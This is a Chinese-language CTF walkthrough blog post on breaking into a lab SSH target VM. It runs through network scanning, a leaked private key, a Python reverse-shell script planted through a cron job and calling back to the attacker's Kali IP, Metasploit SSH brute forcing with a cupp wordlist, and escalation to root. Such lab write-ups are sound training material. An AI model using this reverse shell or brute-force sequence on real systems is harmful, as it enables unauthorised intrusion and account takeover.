「安全笔记」 CTF-SSH 服务测试

「安全笔记」 CTF-SSH 服务测试

资源介绍参数
资源类别: 代码笔记
如遇问题: 联系客服/留言反馈
下载地址: 前往下载
释放双眼,带上耳机,听听看~!
注意这里的靶场由于版本的问题,只能使用VM VirtualBox安装,攻击机用kali Linux在VMware上安装,这里有个坑,在配置网络的时候,全部选择桥接模式,但是VMware下 编辑->虚拟网络编辑器->更改设置->nat0网卡桥接到的外部网络需要和VirtualBox桥接到的一致,不然搜索不到网络,而且桥接模式模拟真实计算机在网络中,利用本机网卡来获取地址的。

环境搭建

注意这里的靶场由于版本的问题,只能使用VM VirtualBox安装,攻击机用kali Linux在VMware上安装,这里有个坑,在配置网络的时候,全部选择桥接模式,但是VMware下 编辑->虚拟网络编辑器->更改设置->nat0网卡桥接到的外部网络需要和VirtualBox桥接到的一致,不然搜索不到网络,而且桥接模式模拟真实计算机在网络中,利用本机网卡来获取地址的。所以必须连接在同一网络环境下。

靶机连接在文章最底部

正式开始

我这里kali Linux 的ip地址是 192.168.43.141
靶机的ip地址是 192.168.43.197
首先我们用netdiscover -r 192.168.43.1/24 扫描目标网络主机,找到靶机ip地址

然后用nmap扫描开放端口,这里介绍下nmap常用的几个命令
探测开放的服务与服务的版本
nmap -sV ip
探测全部信息
nmap -A -v ip
探测操作系统类型与版本
nmap -O ip
这里我们用namp -sV 192.168.43.197 探测靶机开放的服务

接下来我们对收集的信息进行分析
对于ssh服务开放的靶机,首先考虑

  • 暴力破解
  • 私钥泄露(有没有对应的密码,有没有用户名泄露)
    对于开放http服务的80端口或者其他端口的靶场,首先考虑
  • 通过浏览器访问对应的靶场http服务
  • 使用探测工具进行目录探测

接下来我们挖掘敏感信息
首先先对http服务进行探测,我们访问页面发现这是一个公司介绍,abouts里有对应的名字,猜测可能是登陆的用户名。

接下来我们扫描目录
对于扫描结果我们逐条阅读,首先是一个files目录,打开发现没有东西,接下来打开icons,发现里面有一条奇怪的文件,打开发现是id_ras(私钥)

利用wget 下载下来
将他名称修改为id_rsa
然后我们尝试利用刚才挖掘的用户名登陆
首先修改权限chmod 600 id_rsa
然后登陆服务器 ssh -i id_rsa martin@192.168.43.197
提示密码我们直接回车,发现没有密码

登陆后需要扩大战果,可以进行以下操作。

  • 查看当前用户 whoami
  • id 查看当前用户的权限
  • 查看根目录寻找flag
    很可惜我们并不是root,那么就需要其他的操作了,因为一般来说,flag属于root

    我们可以一查看这些目录,进行提权
/etc/passwd 查看所有用户的列表
/etc/group 查看用户组
或者
find / -user 用户名 查看属于某些用户的文件
/tmp 查看缓冲文件

查看用户列表发现我们猜测的用户都存在。

在排查完这些文件之后,发现我们需要的信息都不存在,那么我们就需要深入挖掘
我们可以通过 /etc/crontab 这个文件。这个文件是设定系统定期执行的任务。如果说在这个目录下有某个用户的计划文件,但是具体目录下没有这个文件。那么我们就可以经行创建反弹shell,然后用netcat监听获得用户的权限。
如果存在那么可以查看有无执行权限

我们输入cat /etc/crontab查看这个文件,发现目录下有个jimmy用户的python文件每五分钟执行一次,进入指定目录查看发现没有那个文件。那么我们就可以利用这个文件经行反弹shell
我们编写一个tcp客户端来反弹shell

#!/usr/bin/python
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.connect(("192.168.43.141",1234))#注意这里是kali的ip和你在netcat上监听地端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

将这个文件保存在/tmp目录下然后命名为sekurity.py,并使用chmod +x sekurity.py设置可执行权限。在kali上使用netcat监听端口。
kali上输入nc -lpv 1234等个几分钟就会看到返回的shell。输入whoami发现是jimmy,成功反弹shell。但是查看用户发现并不是root,那么这个方式也失败了。

那么我们只能使用暴力破解了
这里我们使用比较知名的cupp创建个性化字典。

git clone https://github.com/jeanphorn/common-password.git #注意安装git命令
chmod +x cupp.py
./cupp.py -i #以交互方式创建字典

创建时你可以生成自己喜欢的字典:-p我这里除了末尾随即字符选了y其他全部回车

然后使用msfconsole进行爆破

msf > use auxiliary/scanner/ssh/ssh_login
msf > show options #查看参数列表
msf > set rhosts  192.168.43.197 #靶机ip
msf > set username hadi
msf > set set pass_file /root/桌面/tools/common-password/hadi.txt #cupp生成的密码文件地址
msf > set set threads 5 #设置线程
msf > run #开始爆破

成功爆破出密码hadi123
这时候我们使用session -i 1连接会话,
python -c "import pty;pty.spawn('/bin/bash')"优化显示
然后使用su – root提升权限,这时候我们就是root了,然后就可以为所欲为了。

cat flag.txt 就得到了flag啦。

下载权限
查看
  • 免费下载
    评论并刷新后下载
    登录后下载
  • {{attr.name}}:
您当前的等级为
登录后免费下载登录 小黑屋反思中,不准下载! 评论后刷新页面下载评论 支付以后下载 请先登录 您今天的下载次数(次)用完了,请明天再来 支付积分以后下载立即支付 支付以后下载立即支付 您当前的用户组不允许下载升级会员
您已获得下载权限 您可以每天下载资源次,今日剩余
声明:本文为原创作品,版权归作者所有。未经许可,不得转载或用于任何商业用途。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。

给TA打赏
共{{data.count}}人
人已打赏
4 条回复 A文章作者 M管理员
  1. 李希哲

    做个人吧 ,让我下载下

  2. 李希哲

    好 非常好